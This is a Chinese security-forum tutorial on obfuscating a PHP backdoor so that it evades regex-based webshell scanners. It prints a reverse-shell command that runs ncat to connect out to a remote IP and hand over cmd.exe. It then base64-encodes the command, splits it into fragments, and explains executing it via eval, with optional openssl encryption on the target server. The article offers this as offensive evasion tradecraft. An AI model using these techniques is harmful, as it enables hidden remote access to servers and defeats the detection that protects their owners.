问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
一种PHP后门混淆方法
渗透测试
混淆是一门艺术,通过各种变化来实现脚本的免杀,后门查杀通常是使用正则表达式来进行静态匹配,而绕过大量已有正则的覆盖,就能实现免杀的效果,当然,这种方式也可能成为查杀工具的养料,自己学会变换的核心原理,就能实现真正意义上的免杀。
0x00 前言 ======= 今天分享一个 PHP 后门混淆的创作流程,主要遵循以下规则: 1、使用多种不同国家的语言 2、所有 php 代码和系统执行命令都要做混淆 3、变量名中可以添加下划线等特殊字符,比如: ```php $最後の4 $最後の3 $最後の_3 $最_後の1 ``` 0x01 开始制作PHP混淆后门 ================ 我们以 ncat.exe 为例,比如命令: ```php system("start /b ncat.exe 192.168.245.213 443 -e cmd.exe"); ``` 首先对上面的命令进行 base64 编码,编码后的文本: ```php c3lzdGVtKCJzdGFydCAvYiBuY2F0LmV4ZSAxOTIuMTY4LjI0NS4yMTMgNDQzIC1lIGNtZC5leGUiKTs= ``` 对于 base64 编码而言,最后的 = 号是其特征,我们可以将其删除,也不会有什么影响,接下来可以将上面的字符串进行分割,比如: ```php c3lzdGVtKCJ || zdGFydCA || vYiBuY2F0LmV4ZS || AxOTIuMTY4L || jI0NS4 || yMTMgNDQzIC1l || IGNtZC5leGUiKTs ``` 然后将分割后的字符串嵌入到脚本中,如图:  以上是我们最终输出的脚本,红框中标注的就是我们需要执行的命令进行 base64 编码然后分割的部分。 接下来基于这个脚本来进行介绍,下图中标注的部分是对 base64 解码函数的分割混淆:  如何将分割后的字符串拼接起来呢?请看下图:  最后是命令执行参数部分的混淆,如图:  从脚本可以看到,变量和参数值之间不断的变换,从而达到混淆的目的。最后通过 eval 来执行解码后的命令:  最后的执行效果:  如果目标启用了 openssl 的加密扩展,我们可以将其润色一下,如图:  我们首先将之前处理好的脚本进行 base64 编码,来预防加密过程中出现错误,然后使用 openssl 的扩展进行加密,在目标服务器上使用时进行解密执行即可,如图:  到这个整个混淆的过程就结束了。 0x02 总结 ======= 混淆是一门艺术,通过各种变化来实现脚本的免杀,后门查杀通常是使用正则表达式来进行静态匹配,而绕过大量已有正则的覆盖,就能实现免杀的效果,当然,这种方式也可能成为查杀工具的养料,自己学会变换的核心原理,就能实现真正意义上的免杀。
发表于 2022-07-04 09:53:49
阅读 ( 6817 )
分类:
安全工具
3 推荐
收藏
0 条评论
请先
登录
后评论
信安之路团队
9 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!